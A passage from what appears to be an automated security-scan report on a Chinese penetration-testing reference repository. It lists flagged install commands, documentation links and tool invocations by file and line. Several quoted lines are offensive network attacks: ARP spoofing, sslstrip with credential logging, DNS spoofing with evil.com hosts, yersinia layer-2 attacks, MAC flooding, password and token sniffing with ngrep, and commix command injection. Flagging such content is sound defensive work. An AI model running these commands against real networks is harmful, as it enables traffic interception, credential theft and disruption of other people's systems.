    - [readelf(1) — Linux manual page](https://man7.org/linux/man-pages/man1/readelf.1.html)

kali-pentest-zh/references/reverse-engineering/tools/ropper.md

  • Dangerous shell operationline 15
    sudo apt install ropper
  • Network accessline 125
    - [Ropper (GitHub)](https://github.com/sashs/Ropper)
  • Network accessline 126
    - [ropper — Kali Tools](https://www.kali.org/tools/ropper/)

kali-pentest-zh/references/reverse-engineering/tools/strings.md

  • Network accessline 63
    - [GNU Binutils — strings](https://sourceware.org/binutils/docs/binutils/strings.html)
  • Network accessline 64
    - [strings(1) — Linux manual page](https://man7.org/linux/man-pages/man1/strings.1.html)

kali-pentest-zh/references/reverse-engineering/tools/xxd.md

  • Network accessline 68
    - [xxd Debian man page](https://manpages.debian.org/unstable/xxd/xxd.1.en.html)

kali-pentest-zh/references/rfid-nfc/README.md

  • Network accessline 72
    - [Proxmark3 GitHub](https://github.com/RfidResearchGroup/proxmark3)
  • Network accessline 73
    - [Proxmark3 command reference](https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/commands.md)
  • Network accessline 74
    - [libnfc](https://github.com/nfc-tools/libnfc)
  • Network accessline 75
    - [OpenSC](https://github.com/OpenSC/OpenSC)

kali-pentest-zh/references/rfid-nfc/tools/libnfc.md

  • Network accessline 82
    - [libnfc GitHub](https://github.com/nfc-tools/libnfc)
  • Network accessline 83
    - [libnfc Wiki](https://github.com/nfc-tools/libnfc/wiki)

kali-pentest-zh/references/rfid-nfc/tools/opensc-tool.md

  • Network accessline 51
    - [OpenSC GitHub](https://github.com/OpenSC/OpenSC)
  • Network accessline 52
    - [OpenSC Wiki](https://github.com/OpenSC/OpenSC/wiki)

kali-pentest-zh/references/rfid-nfc/tools/pkcs15-tool.md

  • Network accessline 51
    - [OpenSC GitHub](https://github.com/OpenSC/OpenSC)
  • Network accessline 52
    - [pkcs15-tool manual](https://www.mankier.com/1/pkcs15-tool)

kali-pentest-zh/references/rfid-nfc/tools/proxmark3.md

  • Dangerous shell operationline 16
    sudo apt install proxmark3
  • Network accessline 103
    - [Proxmark3 GitHub](https://github.com/RfidResearchGroup/proxmark3)
  • Network accessline 104
    - [Proxmark3 command reference](https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/commands.md)

kali-pentest-zh/references/rfid-nfc/tools/scriptor.md

  • Network accessline 48
    - [Debian scriptor man page](https://manpages.debian.org/testing/pcsc-tools/scriptor.1.en.html)
  • Network accessline 49
    - [Kali pcsc-tools package tracker](https://pkg.kali.org/pkg/pcsc-tools)
  • Network accessline 50
    - [pcsc-tools upstream](https://pcsc-tools.apdu.fr/)

kali-pentest-zh/references/sniffing-spoofing/README.md

  • Network accessline 112
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/sniffing-spoofing/tools/bettercap.md

  • Dangerous shell operationline 15
    sudo apt install bettercap
  • Dangerous shell operationline 39
    sudo bettercap -iface eth0
  • Dangerous shell operationline 42
    sudo bettercap -iface eth0 -caplet /path/to/script.cap
  • Network accessline 44
    # Web UI 模式(通过浏览器控制) sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap # 访问 http://127.0.0.1 (端口 80)— 默认凭据:user / pass
  • Dangerous shell operationline 45
    sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap
  • Network accessline 45
    sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap # 访问 http://127.0.0.1 (端口 80)— 默认凭据:user / pass # ⚠<U+FE0F> http-ui.cap 设定 api.rest.port = 8081(API)、http.server.port = 80(UI);验证方式:
  • Network accessline 46
    # 访问 http://127.0.0.1 (端口 80)— 默认凭据:user / pass
  • Dangerous shell operationline 96
    sudo bettercap -iface eth0 -eval "net.probe on; arp.spoof on; net.sniff on"
  • Network accessline 110
    - [Bettercap 官网](https://www.bettercap.org/)
  • Network accessline 111
    - [Bettercap (GitHub)](https://github.com/bettercap/bettercap)

kali-pentest-zh/references/sniffing-spoofing/tools/dnschef.md

  • Dangerous shell operationline 15
    sudo apt install dnschef
  • Dangerous shell operationline 38
    sudo dnschef --fakeip 192.168.1.100 -i 0.0.0.0
  • Dangerous shell operationline 41
    sudo dnschef --fakeip 192.168.1.100 --fakedomains example.com -i 0.0.0.0
  • Dangerous shell operationline 44
    sudo dnschef --fakeip 192.168.1.100 --fakemail mail.evil.com --fakens ns.evil.com -i 0.0.0.0
  • Dangerous shell operationline 47
    sudo dnschef --file dns_rules.ini -i 0.0.0.0
  • Dangerous shell operationline 50
    sudo dnschef --fakeip 192.168.1.100 -i 0.0.0.0 --logfile dns_queries.log
  • Dangerous shell operationline 53
    sudo dnschef --fakeip 192.168.1.100 --nameservers 8.8.8.8 -i 0.0.0.0
  • Network accessline 80
    - [DNSChef(GitHub)](https://github.com/iphelix/dnschef)
  • Network accessline 81
    - [Kali DNSChef](https://www.kali.org/tools/dnschef/)

kali-pentest-zh/references/sniffing-spoofing/tools/dsniff.md

  • Dangerous shell operationline 15
    sudo apt install dsniff
  • Dangerous shell operationline 71
    sudo sysctl -w net.ipv4.ip_forward=1
  • Dangerous shell operationline 73
    sudo arpspoof -i eth0 -t 192.168.1.50 192.168.1.1
  • Dangerous shell operationline 75
    sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.50
  • Dangerous shell operationline 79
    sudo dnsspoof -i eth0 -f /tmp/dnsspoof.hosts
  • Dangerous shell operationline 82
    sudo dsniff -i eth0 -m
  • Dangerous shell operationline 85
    sudo macof -i eth0 -n 100000
  • Dangerous shell operationline 88
    sudo urlsnarf -i eth0
  • Dangerous shell operationline 91
    sudo tcpkill -i eth0 host 192.168.1.50 and port 443
  • Network accessline 106
    - [dsniff — Dug Song](https://www.monkey.org/~dugsong/dsniff/)
  • Network accessline 107
    - [Kali dsniff](https://www.kali.org/tools/dsniff/)

kali-pentest-zh/references/sniffing-spoofing/tools/ettercap.md

  • Dangerous shell operationline 15
    sudo apt install ettercap-text-only
  • Network accessline 67
    - [ettercap (GitHub)](https://github.com/Ettercap/ettercap)
  • Network accessline 68
    - [Kali ettercap](https://www.kali.org/tools/ettercap/)

kali-pentest-zh/references/sniffing-spoofing/tools/hping3.md

  • Dangerous shell operationline 15
    sudo apt install hping3
  • Network accessline 81
    - [hping3 Debian man page](https://manpages.debian.org/hping3/hping3.8.en.html)
  • Network accessline 82
    - [Kali hping3](https://www.kali.org/tools/hping3/)

kali-pentest-zh/references/sniffing-spoofing/tools/macchanger.md

  • Network accessline 60
    - [macchanger GitHub](https://github.com/alobbs/macchanger)
  • Network accessline 61
    - [Kali Tools — macchanger](https://www.kali.org/tools/macchanger/)

kali-pentest-zh/references/sniffing-spoofing/tools/netsniff-ng.md

  • Dangerous shell operationline 15
    sudo apt install netsniff-ng
  • Dangerous shell operationline 49
    sudo netsniff-ng -i eth0 -o capture.pcap -s
  • Dangerous shell operationline 52
    sudo netsniff-ng -i eth0 -o capture.pcap -f "tcp port 80 or tcp port 443"
  • Dangerous shell operationline 55
    sudo netsniff-ng -i eth0 -o /captures/ -T 60
  • Dangerous shell operationline 58
    sudo netsniff-ng -i eth0 -o capture.pcap -t host
  • Dangerous shell operationline 61
    sudo netsniff-ng -i capture.pcap -o eth0
  • Dangerous shell operationline 64
    sudo netsniff-ng -i eth0 -o capture.pcap -n 1000
  • Dangerous shell operationline 67
    sudo astraceroute -i eth0 -d example.com
  • Dangerous shell operationline 70
    sudo trafgen -i packets.cfg -o eth0 -n 100
  • Dangerous shell operationline 73
    sudo ifpps -d eth0
  • Dangerous shell operationline 76
    sudo flowtop
  • Network accessline 91
    - [netsniff-ng(项目主页)](http://netsniff-ng.org/)
  • Network accessline 92
    - [Kali netsniff-ng](https://www.kali.org/tools/netsniff-ng/)

kali-pentest-zh/references/sniffing-spoofing/tools/ngrep.md

  • Dangerous shell operationline 15
    sudo apt install ngrep
  • Dangerous shell operationline 42
    sudo ngrep -q -W byline 'password' 'tcp port 80'
  • Dangerous shell operationline 45
    sudo ngrep -q -i 'user|pass|login|token' -d eth0
  • Dangerous shell operationline 51
    sudo ngrep -q -W byline 'GET|POST|PUT|DELETE' 'tcp port 80'
  • Dangerous shell operationline 54
    sudo ngrep -q -W byline '' 'udp port 5060'
  • Dangerous shell operationline 57
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Dangerous shell operationline 60
    sudo ngrep -q -n 50 'secret' 'tcp port 8080'
  • Dangerous shell operationline 63
    sudo ngrep -q -x 'password' 'tcp port 21'
  • Dangerous shell operationline 66
    sudo ngrep -q -X '485454502f312e3120323030'
  • Dangerous shell operationline 69
    sudo ngrep -q -t 'Set-Cookie' 'tcp port 80'
  • Dangerous shell operationline 72
    sudo ngrep -q 'example.com' 'udp port 53'
  • Dangerous shell operationline 75
    sudo ngrep -q -W byline '' 'tcp port 25'
  • Network accessline 90
    - [ngrep (GitHub)](https://github.com/jpr5/ngrep)
  • Network accessline 91
    - [Kali ngrep](https://www.kali.org/tools/ngrep/)

kali-pentest-zh/references/sniffing-spoofing/tools/scapy.md

  • Dangerous shell operationline 15
    sudo apt install python3-scapy
  • Dangerous shell operationline 80
    1. scapy 的原始套接字操作(第二/三层数据包注入)需要 root/sudo 权限。
  • Network accessline 90
    - [Scapy (GitHub)](https://github.com/secdev/scapy)
  • Network accessline 91
    - [Kali scapy](https://www.kali.org/tools/scapy/)

kali-pentest-zh/references/sniffing-spoofing/tools/sslstrip.md

  • Dangerous shell operationline 17
    sudo apt install sslstrip
  • Dangerous shell operationline 35
    echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
  • Dangerous shell operationline 38
    sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  • Dangerous shell operationline 41
    sudo sslstrip -l 10000 -w sslstrip.log
  • Dangerous shell operationline 44
    sudo sslstrip -l 10000 -f -w sslstrip.log
  • Dangerous shell operationline 47
    sudo sslstrip -l 10000 -p -w credentials.log
  • Dangerous shell operationline 50
    sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  • Network accessline 65
    - [sslstrip(GitHub)](https://github.com/moxie0/sslstrip)
  • Network accessline 66
    - [Kali sslstrip](https://www.kali.org/tools/sslstrip/)

kali-pentest-zh/references/voip-ics/README.md

  • Network accessline 107
    - [SIPVicious GitHub](https://github.com/EnableSecurity/sipvicious)
  • Network accessline 108
    - [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/)

kali-pentest-zh/references/voip-ics/tools/enumiax.md

  • Network accessline 54
    - [Kali enumiax](https://www.kali.org/tools/enumiax/)

kali-pentest-zh/references/voip-ics/tools/ipmitool.md

  • Dangerous shell operationline 24
    sudo apt install ipmitool
  • Network accessline 161
    - [ipmitool (GitHub)](https://github.com/ipmitool/ipmitool)
  • Network accessline 162
    - [Kali Tools - ipmitool](https://www.kali.org/tools/ipmitool/)

kali-pentest-zh/references/voip-ics/tools/modbus-cli.md

  • Network accessline 65
    - [modbus-cli RubyGems](https://rubygems.org/gems/modbus-cli)
  • Network accessline 66
    - [modbus-cli GitHub](https://github.com/tallakt/modbus-cli)

kali-pentest-zh/references/voip-ics/tools/plcscan.md

  • Network accessline 15
    git clone https://github.com/meeas/plcscan.git
  • Network accessline 51
    - [plcscan GitHub](https://github.com/meeas/plcscan)

kali-pentest-zh/references/voip-ics/tools/sippts.md

  • Dangerous shell operationline 17
    sudo apt install sippts
  • Network accessline 137
    - [sippts GitHub](https://github.com/Pepelux/sippts)
  • Network accessline 138
    - [Kali sippts](https://www.kali.org/tools/sippts/)

kali-pentest-zh/references/voip-ics/tools/sipvicious.md

  • Network accessline 62
    - [SIPVicious GitHub](https://github.com/EnableSecurity/sipvicious)
  • Network accessline 63
    - [Kali sipvicious](https://www.kali.org/tools/sipvicious/)

kali-pentest-zh/references/voip-ics/tools/voiphopper.md

  • Network accessline 61
    - [Kali voiphopper](https://www.kali.org/tools/voiphopper/)

kali-pentest-zh/references/voip-ics/tools/yersinia.md

  • Dangerous shell operationline 15
    sudo apt install yersinia
  • Dangerous shell operationline 78
    sudo yersinia stp -attack 4 -interface eth0
  • Dangerous shell operationline 81
    sudo yersinia dhcp -attack 1 -interface eth0
  • Dangerous shell operationline 84
    sudo yersinia dtp -attack 1 -interface eth0
  • Dangerous shell operationline 87
    sudo yersinia cdp -attack 1 -interface eth0
  • Dangerous shell operationline 90
    sudo yersinia dot1q -attack 1 -interface eth0
  • Network accessline 105
    - [yersinia GitHub](https://github.com/tomac/yersinia)
  • Network accessline 106
    - [Kali yersinia](https://www.kali.org/tools/yersinia/)

kali-pentest-zh/references/vulnerability/README.md

  • Network accessline 179
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/vulnerability/tools/enum4linux-ng.md

  • Dangerous shell operationline 15
    sudo apt install enum4linux-ng
  • Network accessline 71
    - [enum4linux-ng (GitHub)](https://github.com/cddmp/enum4linux-ng)
  • Network accessline 72
    - [Kali enum4linux-ng](https://www.kali.org/tools/enum4linux-ng/)

kali-pentest-zh/references/vulnerability/tools/enum4linux.md

  • Dangerous shell operationline 15
    sudo apt install enum4linux
  • Network accessline 68
    - [enum4linux GitHub](https://github.com/CiscoCXSecurity/enum4linux)
  • Network accessline 69
    - [enum4linux-ng GitHub](https://github.com/cddmp/enum4linux-ng)

kali-pentest-zh/references/vulnerability/tools/ike-scan.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install ike-scan
  • Network accessline 85
    - [ike-scan GitHub](https://github.com/royhills/ike-scan)
  • Network accessline 86
    - [Kali ike-scan](https://www.kali.org/tools/ike-scan/)

kali-pentest-zh/references/vulnerability/tools/ismtp.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install ismtp
  • Network accessline 71
    - [Kali ismtp](https://www.kali.org/tools/ismtp/)

kali-pentest-zh/references/vulnerability/tools/lynis.md

  • Dangerous shell operationline 15
    sudo apt install lynis
  • Dangerous shell operationline 41
    sudo lynis audit system
  • Dangerous shell operationline 47
    sudo lynis audit system --quick
  • Dangerous shell operationline 50
    sudo lynis audit system --report-file /tmp/lynis_report.dat
  • Dangerous shell operationline 53
    sudo lynis audit system --tests-from-group authentication
  • Dangerous shell operationline 54
    sudo lynis audit system --tests-from-group networking
  • Dangerous shell operationline 55
    sudo lynis audit system --tests-from-group malware
  • Dangerous shell operationline 58
    sudo lynis audit system --quick --quiet --no-colors > /tmp/lynis_output.txt
  • Dangerous shell operationline 77
    3. 获取 Shell 后,使用 `--tests-from-group authentication` 快速审计登录和 sudo 配置。
  • Network accessline 86
    - [Lynis 官方网站](https://cisofy.com/lynis/)
  • Network accessline 87
    - [Lynis GitHub](https://github.com/CISOfy/lynis)

kali-pentest-zh/references/vulnerability/tools/nuclei.md

  • Dangerous shell operationline 15
    sudo apt install nuclei
  • Network accessline 73
    # 使用默认模板集扫描 nuclei -u http://target.com
  • Network accessline 74
    nuclei -u http://target.com
  • Network accessline 79
    # 按类别扫描——自动检测失败时使用显式路径 nuclei -u http://target.com -t "$TMPL/http/cves/"
  • Network accessline 80
    nuclei -u http://target.com -t "$TMPL/http/cves/"
  • Network accessline 81
    nuclei -u http://target.com -t "$TMPL/http/exposures/"
  • Network accessline 82
    nuclei -u http://target.com -t "$TMPL/http/misconfiguration/"
  • Network accessline 83
    nuclei -u http://target.com -t "$TMPL/http/vulnerabilities/"
  • Network accessline 84
    nuclei -u http://target.com -t "$TMPL/http/technologies/"
  • Network accessline 86
    # 只扫高危及以上 nuclei -u http://target.com -severity critical,high
  • Network accessline 87
    nuclei -u http://target.com -severity critical,high
  • Network accessline 89
    # 按标签扫描 nuclei -u http://target.com -tags lfi,ssrf,rce
  • Network accessline 90
    nuclei -u http://target.com -tags lfi,ssrf,rce
  • Network accessline 91
    nuclei -u http://target.com -tags log4j
  • Network accessline 93
    # 指定特定 CVE nuclei -u http://target.com -id CVE-2021-44228
  • Network accessline 94
    nuclei -u http://target.com -id CVE-2021-44228
  • Network accessline 95
    nuclei -u http://target.com -id CVE-2021-44228,CVE-2022-22965
  • Network accessline 97
    # JSONL 输出(每行一条结果) nuclei -u http://target.com -jsonl -o /tmp/nuclei_results.jsonl
  • Network accessline 98
    nuclei -u http://target.com -jsonl -o /tmp/nuclei_results.jsonl
  • Network accessline 100
    # JSON 导出(单个结构化 JSON 文件) nuclei -u http://target.com -json-export /tmp/nuclei_results.json
  • Network accessline 101
    nuclei -u http://target.com -json-export /tmp/nuclei_results.json
  • Network accessline 103
    # 限速(防 WAF) nuclei -u http://target.com -rate-limit 50 -c 10
  • Network accessline 104
    nuclei -u http://target.com -rate-limit 50 -c 10
  • Network accessline 109
    # 使用代理 nuclei -u http://target.com -proxy http://127.0.0.1:8080
  • Network accessline 110
    nuclei -u http://target.com -proxy http://127.0.0.1:8080
  • Network accessline 112
    [Credential-related source omitted]
  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 120
    3. 测试生产系统或位于 WAF 后方时,使用 `-rate-limit` 和 `-c` 控制扫描速度——默认的激进设置可能触发限速或 IP 封禁。 4. **零输出无报错**:添加 `-v` 检查模板是否实际加载。如果没有探测请求出现,说明模板路径有误——使用上方模板目录部分的 `find` 命令定位路径,并通过 `-t` 显式传入。 5. **需要动态签名的认证端点**:`-H` 只能注入静态头——无法计算逐请求签名。对需要动态签名(HMAC、时间戳+nonce)的 AP
  • Network accessline 121
    4. **零输出无报错**:添加 `-v` 检查模板是否实际加载。如果没有探测请求出现,说明模板路径有误——使用上方模板目录部分的 `find` 命令定位路径,并通过 `-t` 显式传入。 5. **需要动态签名的认证端点**:`-H` 只能注入静态头——无法计算逐请求签名。对需要动态签名(HMAC、时间戳+nonce)的 API,构建本地签名代理并传入 `-proxy http://127.0.0.1:PORT`。没有代理时,大多数安全模板会收到 401 响应而不产生发现。
  • Network accessline 122
    5. **需要动态签名的认证端点**:`-H` 只能注入静态头——无法计算逐请求签名。对需要动态签名(HMAC、时间戳+nonce)的 API,构建本地签名代理并传入 `-proxy http://127.0.0.1:PORT`。没有代理时,大多数安全模板会收到 401 响应而不产生发现。用 `-v` 确认探测请求返回非 401 响应后再信任空输出。
  • Network accessline 129
    - [Nuclei GitHub](https://github.com/projectdiscovery/nuclei)
  • Network accessline 130
    - [Nuclei 文档](https://docs.projectdiscovery.io/tools/nuclei)
  • Network accessline 131
    - [Nuclei 模板库](https://github.com/projectdiscovery/nuclei-templates)

kali-pentest-zh/references/vulnerability/tools/onesixtyone.md

  • Dangerous shell operationline 15
    sudo apt install onesixtyone
  • Network accessline 62
    - [onesixtyone(GitHub)](https://github.com/trailofbits/onesixtyone)
  • Network accessline 63
    - [Kali onesixtyone](https://www.kali.org/tools/onesixtyone/)

kali-pentest-zh/references/vulnerability/tools/openvas.md

  • Dangerous shell operationline 15
    sudo apt install gvm
  • Dangerous shell operationline 18
    sudo gvm-setup
  • Dangerous shell operationline 20
    sudo gvm-check-setup
  • Dangerous shell operationline 23
    sudo gvm-start
  • Network accessline 33
    # 访问 Greenbone Security Assistant(GSA)Web 界面 # https://127.0.0.1:9392
  • Network accessline 34
    # https://127.0.0.1:9392
  • Dangerous shell operationline 39
    sudo greenbone-feed-sync
  • Network accessline 135
    - [Greenbone 文档](https://greenbone.github.io/docs/)
  • Network accessline 136
    - [OpenVAS Scanner GitHub](https://github.com/greenbone/openvas-scanner)
  • Network accessline 137
    - [Greenbone 漏洞管理](https://www.greenbone.net/en/vulnerability-management/)

kali-pentest-zh/references/vulnerability/tools/smbmap.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install smbmap
  • Network accessline 70
    - [smbmap GitHub](https://github.com/ShawnDEvans/smbmap)
  • Network accessline 71
    - [Kali smbmap](https://www.kali.org/tools/smbmap/)

kali-pentest-zh/references/vulnerability/tools/smtp-user-enum.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install smtp-user-enum
  • Network accessline 78
    - [smtp-user-enum by pentestmonkey](https://pentestmonkey.net/tools/user-enumeration/smtp-user-enum)
  • Network accessline 79
    - [Kali smtp-user-enum](https://www.kali.org/tools/smtp-user-enum/)

kali-pentest-zh/references/vulnerability/tools/snmpcheck.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install snmpcheck
  • Network accessline 60
    - [Kali snmpcheck](https://www.kali.org/tools/snmpcheck/)

kali-pentest-zh/references/vulnerability/tools/snmpwalk.md

  • Dangerous shell operationline 15
    sudo apt install snmp
  • Network accessline 71
    - [snmpwalk 手册页(net-snmp)](http://www.net-snmp.org/docs/man/snmpwalk.html)

kali-pentest-zh/references/vulnerability/tools/sslscan.md

  • Dangerous shell operationline 15
    sudo apt install sslscan
  • Network accessline 69
    - [sslscan GitHub](https://github.com/rbsec/sslscan)

kali-pentest-zh/references/vulnerability/tools/sslyze.md

  • Dangerous shell operationline 15
    sudo apt install sslyze
  • Network accessline 91
    - [sslyze (GitHub)](https://github.com/nabla-c0d3/sslyze)
  • Network accessline 92
    - [sslyze Documentation](https://nabla-c0d3.github.io/sslyze/documentation/)
  • Network accessline 93
    - [Kali sslyze](https://www.kali.org/tools/sslyze/)

kali-pentest-zh/references/vulnerability/tools/swaks.md

  • Dangerous shell operationline 15
    sudo apt install swaks
  • Network accessline 93
    - [swaks Official Site](https://www.jetmore.org/john/code/swaks/)
  • Network accessline 94
    - [Kali swaks](https://www.kali.org/tools/swaks/)

kali-pentest-zh/references/vulnerability/tools/testssl.sh.md

  • Dangerous shell operationline 15
    sudo apt install testssl.sh
  • Network accessline 15
    sudo apt install testssl.sh # 或直接从 GitHub 运行(需要 bash 4+ 和 openssl): git clone https://github.com/drwetter/testssl.sh.git
  • Network accessline 16
    # 或直接从 GitHub 运行(需要 bash 4+ 和 openssl): git clone https://github.com/drwetter/testssl.sh.git cd testssl.sh && ./testssl.sh --help
  • Network accessline 17
    git clone https://github.com/drwetter/testssl.sh.git
  • Network accessline 76
    - [testssl.sh(GitHub)](https://github.com/drwetter/testssl.sh)
  • Network accessline 77
    - [Kali testssl.sh](https://www.kali.org/tools/testssl.sh/)

kali-pentest-zh/references/vulnerability/tools/trivy.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install trivy
  • Network accessline 48
    # 扫描远程 Git 仓库 trivy repo --scanners vuln,secret,misconfig https://github.com/example/repo
  • Network accessline 49
    trivy repo --scanners vuln,secret,misconfig https://github.com/example/repo
  • Network accessline 67
    - [Trivy Documentation](https://trivy.dev/latest/docs/)
  • Network accessline 68
    - [Trivy GitHub](https://github.com/aquasecurity/trivy)
  • Network accessline 69
    - [Kali trivy](https://www.kali.org/tools/trivy/)

kali-pentest-zh/references/web/README.md

  • Network accessline 23
    | Web 漏洞扫描(黑盒) | `wapiti` | — | | WebDAV 测试 | `davtest` | 仅限目标开启 WebDAV | | 流量代理 | `mitmproxy` / `mitmdump` | 仅需请求重放时用 `curl -x` |
  • Network accessline 24
    | WebDAV 测试 | `davtest` | 仅限目标开启 WebDAV | | 流量代理 | `mitmproxy` / `mitmdump` | 仅需请求重放时用 `curl -x` | | Padding Oracle | `padbuster` | — |
  • Network accessline 25
    | 流量代理 | `mitmproxy` / `mitmdump` | 仅需请求重放时用 `curl -x` |
  • Network accessline 231
    - [OWASP Top 10](https://owasp.org/www-project-top-ten/)
  • Network accessline 232
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/web/tools/arjun.md

  • Dangerous shell operationline 16
    sudo apt install arjun
  • Network accessline 42
    # 发现 GET 参数 arjun -u http://target.com/search
  • Network accessline 43
    arjun -u http://target.com/search
  • Network accessline 45
    # 发现 POST 参数 arjun -u http://target.com/api -m POST
  • Network accessline 46
    arjun -u http://target.com/api -m POST
  • Network accessline 48
    # JSON body 参数 arjun -u http://target.com/api -m JSON
  • Network accessline 49
    arjun -u http://target.com/api -m JSON
  • Network accessline 54
    # 自定义字典 arjun -u http://target.com/ -w /path/to/params.txt
  • Network accessline 55
    arjun -u http://target.com/ -w /path/to/params.txt
  • Network accessline 57
    # 带 Cookie(需要 JSON 字典格式) arjun -u http://target.com/ --headers '{"Cookie": "session=abc123"}'
  • Network accessline 58
    arjun -u http://target.com/ --headers '{"Cookie": "session=abc123"}'
  • Network accessline 60
    # 输出 JSON arjun -u http://target.com/ -oJ /tmp/params.json
  • Network accessline 61
    arjun -u http://target.com/ -oJ /tmp/params.json
  • Network accessline 63
    # 并发 arjun -u http://target.com/ -t 10
  • Network accessline 64
    arjun -u http://target.com/ -t 10
  • Network accessline 79
    - [Arjun GitHub](https://github.com/s0md3v/Arjun)

kali-pentest-zh/references/web/tools/clairvoyance.md

  • Network accessline 41
    # 从 GraphQL 端点恢复 schema clairvoyance -o /tmp/schema.json https://target/graphql
  • Network accessline 42
    clairvoyance -o /tmp/schema.json https://target/graphql
  • Network accessline 44
    [Credential-related source omitted]
  • Network accessline 45
    [Credential-related source omitted]
  • Network accessline 47
    # 使用词表爆破并验证格式 clairvoyance -w /tmp/graphql_wordlist.txt -wv -o /tmp/schema.json https://target/graphql
  • Network accessline 48
    clairvoyance -w /tmp/graphql_wordlist.txt -wv -o /tmp/schema.json https://target/graphql
  • Network accessline 50
    # 慢速配置用于限速目标(1 并发、50 次重试、退避因子 2) clairvoyance -p slow -o /tmp/schema.json https://target/graphql
  • Network accessline 51
    clairvoyance -p slow -o /tmp/schema.json https://target/graphql
  • Network accessline 53
    # 使用代理和补充输入 schema clairvoyance -x http://127.0.0.1:8080 -i /tmp/partial.json -o /tmp/schema.json https://target/graphql
  • Network accessline 54
    clairvoyance -x http://127.0.0.1:8080 -i /tmp/partial.json -o /tmp/schema.json https://target/graphql
  • Network accessline 56
    # 禁用 SSL 验证,启用详细输出和进度条 clairvoyance -k -v --progress -o /tmp/schema.json https://target/graphql
  • Network accessline 57
    clairvoyance -k -v --progress -o /tmp/schema.json https://target/graphql
  • Network accessline 71
    - [Clairvoyance GitHub](https://github.com/nikitastupin/clairvoyance)

kali-pentest-zh/references/web/tools/cmseek.md

  • Dangerous shell operationline 15
    sudo apt install cmseek
  • Network accessline 42
    # 检测 CMS 并枚举信息 cmseek -u http://example.com
  • Network accessline 43
    cmseek -u http://example.com
  • Network accessline 45
    # 跟随重定向(适用于 HTTPS 或 CDN 目标) cmseek -u http://example.com --follow-redirect
  • Network accessline 46
    cmseek -u http://example.com --follow-redirect
  • Network accessline 51
    # 使用随机 User-Agent 绕过基础 WAF cmseek -u http://example.com --random-agent --follow-redirect
  • Network accessline 52
    cmseek -u http://example.com --random-agent --follow-redirect
  • Network accessline 54
    # 详细模式 cmseek -u http://example.com -v
  • Network accessline 55
    cmseek -u http://example.com -v
  • Network accessline 60
    1. cmseek 支持 180+ 种 CMS——在不确定目标 CMS 类型时首先使用;确认为 WordPress 后再切换到 wpscan 进行深度枚举。 2. 结果保存到 `Result/<domain>/cms.json`——查看该文件可获取版本号、检测到的用户及漏洞数据。 3. 若 CMS 检测失败,手动检查响应头:`curl -I http://example.com` 通常可从 `X-Powered-By`、Cookie 或 generator meta 标签中发
  • Network accessline 61
    2. 结果保存到 `Result/<domain>/cms.json`——查看该文件可获取版本号、检测到的用户及漏洞数据。 3. 若 CMS 检测失败,手动检查响应头:`curl -I http://example.com` 通常可从 `X-Powered-By`、Cookie 或 generator meta 标签中发现 CMS 特征。 4. 对于 WordPress,wpscan 提供更深入的枚举(插件、主题、CVE、用户暴力破解)——用 cmseek 确认,用 wpsc
  • Network accessline 62
    3. 若 CMS 检测失败,手动检查响应头:`curl -I http://example.com` 通常可从 `X-Powered-By`、Cookie 或 generator meta 标签中发现 CMS 特征。
  • Network accessline 64
    5. 检测到的版本号与 nuclei CVE 模板是强大组合:cmseek 识别 CMS 后,运行 `nuclei -t http/cves/ -u http://example.com` 即可快速检测已知漏洞。
  • Network accessline 70
    - [CMSeeK (GitHub)](https://github.com/Tuhinshubhra/CMSeeK)
  • Network accessline 71
    - [Kali cmseek](https://www.kali.org/tools/cmseek/)

kali-pentest-zh/references/web/tools/commix.md

  • Dangerous shell operationline 15
    sudo apt install commix
  • Network accessline 40
    # 检测 GET 参数 commix --url="http://target.com/ping?host=INJECT_HERE"
  • Network accessline 41
    commix --url="http://target.com/ping?host=INJECT_HERE"
  • Network accessline 43
    # POST 参数 commix --url="http://target.com/" --data="ip=INJECT_HERE"
  • Network accessline 44
    commix --url="http://target.com/" --data="ip=INJECT_HERE"
  • Network accessline 46
    # 自动检测参数(不指定 INJECT_HERE) commix --url="http://target.com/ping?host=127.0.0.1"
  • Network accessline 47
    commix --url="http://target.com/ping?host=127.0.0.1"
  • Network accessline 49
    # 执行命令 commix --url="http://target.com/ping?host=127.0.0.1" --os-cmd="id"
  • Network accessline 50
    commix --url="http://target.com/ping?host=127.0.0.1" --os-cmd="id"
  • Network accessline 55
    # 使用代理(通过 Burp) commix --url="http://target.com/ping?host=127.0.0.1" --proxy="http://127.0.0.1:8080"
  • Network accessline 56
    commix --url="http://target.com/ping?host=127.0.0.1" --proxy="http://127.0.0.1:8080"
  • Network accessline 71
    - [commix GitHub](https://github.com/commixproject/commix)

kali-pentest-zh/references/web/tools/crlfuzz.md

  • Dangerous shell operationline 15
    sudo apt install crlfuzz
  • Network accessline 37
    # 测试单个 URL crlfuzz -u "http://example.com/page?param=value"
  • Network accessline 38
    crlfuzz -u "http://example.com/page?param=value"
  • Network accessline 49
    # 通过 Burp Suite 代理路由 crlfuzz -u "http://example.com/?q=test" --proxy http://127.0.0.1:8080
  • Network accessline 50
    crlfuzz -u "http://example.com/?q=test" --proxy http://127.0.0.1:8080
